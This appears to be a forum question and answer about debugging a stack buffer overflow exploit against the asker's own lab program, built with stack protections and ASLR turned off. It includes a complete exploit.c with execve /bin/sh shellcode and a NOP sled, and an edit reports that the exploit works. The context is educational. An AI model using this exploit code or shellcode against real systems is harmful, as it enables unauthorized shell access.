I'm trying to exploit a standard buffer overflow vulnerability in a program that uses strcpy()
to fill a 200 char
buffer, without checking boundaries, and compiled with -z execstack
and -fno-stack-protector
. I have also disable kernel randomize_va_space.
First thing I do is opening gdb, I test for the correct lenght to overwrite the return addr, it is 222 so I wrote an exploit.c program as show:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
char *shellcode = "\x48\x31\xc0\x48\x83\xc0\x3b\x48\x31\xff\x57\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x8d\x3c\x24\x48\x31\xf6\x48\x31\xd2\x0f\x05";
#define BUFF_SIZE 222
unsigned long get_sp(void){
__asm__("mov %rsp, %rax");
}
int main(int argc, char *argv[]){
if (argc != 2){
printf("give one argument\n");
exit(0);
}
long *addr_ptr, ret, esp;
int offset, i;
char *ptr, buffer[BUFF_SIZE];
offset = atoi(argv[1]);
esp = get_sp();
ret = esp - offset;
printf("esp:0x%016lx\tret:0x%016lx\n", esp, ret);
ptr = buffer;
addr_ptr = (long*)(buffer);
//Filling the buffer
for(i=0;i<BUFF_SIZE;i+=8){
*(addr_ptr++) = ret;
};
for(i=0;i<BUFF_SIZE/2;i++){
*(ptr+i) = '\x90';
};
for(i=0;i<strlen(shellcode);i++){
*(ptr+i+16) = shellcode[i];
};
buffer[BUFF_SIZE-1] = '\x0';
execl("./buffer_vuln", "buffer_vuln", buffer, NULL);
};
This sends the exploit to my "buffer_vuln" program ; I fill the buffer with ret (that is modified by an offset), and a NOP sled leading to the shellcode. I didn't get any result from trying this even on a long offset range (-250, 3000). The targeted program prints out the address and content of its array, everything seems right but that I cannot see the return addresses printed after the NOPs, wonder where this fails to open a shell.
-Edit-
I switched to 32bits so the stack address doesn't contain any Zero. I also compiled the shellcode and made sure it worked on it's own. Exploit works !
Going to try for amd64 now, Thanks !
execl
expects a pointer to a null-terminated string, the buffer gets terminated early.